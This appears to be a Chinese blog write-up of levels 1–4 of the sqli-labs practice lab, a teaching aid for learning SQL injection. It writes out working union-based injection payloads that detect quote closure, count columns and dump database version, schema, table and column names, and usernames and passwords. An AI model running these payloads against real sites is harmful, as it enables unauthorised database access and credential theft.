sqli-labs Less-1~Less-4做题记录

以下使用sqli-labs靶场进行练习sql注入
关于靶场的搭建,可参考:https://blog.csdn.net/Goodric/article/details/110098085

Less-1

用 ?id=xxx 进行 get 请求,来判断是否存在 sql 注入, 可以在url中看到传递的参数。
输入 ?id=1 and 1 = 2 --+ ,回显正常,此处不是数字型注入。

在这里插入图片描述

再输入?id=1’ (后面加一个), 回显不正常,可能存在sql注入漏洞, 大概率就是字符注入了。
get参数 1 被 ‘ 单引号括在一起。

在这里插入图片描述

用 order by 猜解表中的列数。在order by 后面加数字尝试出有列数有多少。
尝试到4列时报错,所以表中有三列。

在这里插入图片描述

还可以使用union select语句回显 猜解列数union的作用是将两个sql语句进行联合。
使用联合查询需要注意的一个点:
语句 ?id=-1 , 联合查询只有一个回显值 所以要随便选一个不存在的值,即值不能用 1等存在的值,可以等于999、-2等不存在的值
union前后的两个sql语句的选择列数要相同才可以。
union select 1 --+
union select 1,2 --+
union select 1,2,3 --+

一直增加数字,增加到数字不报错时,就可判断当前列数,所以列数就是前一个列数。
这里到数字 3 时回显正确,得到列数为 3。

在这里插入图片描述

使用联合查询,查看回显。
爆mysql版本和操作系统信息
union select 1,version(),@@version_compile_os --+

在这里插入图片描述

爆数据库用户名和数据库名
union select 1,user(),database() --+

在这里插入图片描述

爆数据库路径
union select 1,2,@@datadir --+

在这里插入图片描述

爆出一个数据库
union select 1,null,schema_name from information_schema.schemata limit 0,1 --+

在这里插入图片描述

爆出全部数据库 union select 1,null,group_concat(schema_name) from information_schema.schemata --+

在这里插入图片描述

爆出数据库" security "里的一个表名
union select 1,null,(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+

在这里插入图片描述

爆出数据库" security "里的所有表名
union select 1,null,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

在这里插入图片描述

爆user表的列
从表名" users "中爆出一个字段来
union select 1,null,( select column_name from information_schema.columns where table_schema =database() and table_name=‘users’ limit 0,1) --+

在这里插入图片描述

从表名" users "中爆出全部字段来
union select 1,null,( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name=‘users’ ) --+

在这里插入图片描述

爆所有用户名和密码
从" users “表里对应的列名中爆出一个数据来
union select 1,null,concat(id,0x7e,username,0x7e),password from users limit 0,1 --+
从” users "表里对应的列名中爆出所有数据来
union select 1,null,(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+

在这里插入图片描述

Less-2

首先加 ?id=1 ,回显正常,加上单引号 ?id=-1’ ,回显错误
回显语句经翻译为: 以在第 1 行的 “限制 0, 1” 附近使用正确的语法。(似乎把回显的英文语句翻译过来也不知道什么意思,但强迫症还是看看心里舒坦~)
可知单引号影响了闭合,为数字型注入。
所以不添加单引号,也不需要注释了,直接在后面添加语句,进行联合查询。

在这里插入图片描述

例如用 order by 猜解列数。1 后面不需要单引号,最后面不需要注释符。

在这里插入图片描述

后面就和 less-1 的相同,使用联合查询,可进行
爆MySQL的版本和操作系统信息;
爆数据库用户名和数据库名;
爆数据库路径;
爆数据库表名;
爆表中列的字段;
爆列中的数据即用户名和密码。

Less-3

添加 ?id=1’ ,回显错误。
回显语句翻译为:以在行 1 的 “1’) 限制 0, 1” 附近使用正确的语法

在这里插入图片描述

所以构造正确语句:?id=-1’)
同样用 猜解列数 order by 语句尝试一下,同时也不要忘了后面的注释。

在这里插入图片描述

然后就可以进行联合查询,
爆MySQL的版本和操作系统信息;
爆数据库用户名和数据库名;
爆数据库路径;
爆数据库表名;
爆表中列的字段;
爆列中的数据即用户名和密码。

Less-4

注入试探,加单引号 ?id=1’ ,回显正常。 加双引号 ?id=1" ,回显反而是错误的。
翻译回显语句:以选择在第 1 行的 “1”) 限制 0,1 附近使用的正确语法。

在这里插入图片描述

所以构造正确语句: ?id=-1")
用用 猜解列数 order by 语句尝试。

在这里插入图片描述

然后就可以进行联合查询,
爆MySQL的版本和操作系统信息;
爆数据库用户名和数据库名;
爆数据库路径;
爆数据库表名;
爆表中列的字段;
爆列中的数据即用户名和密码。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值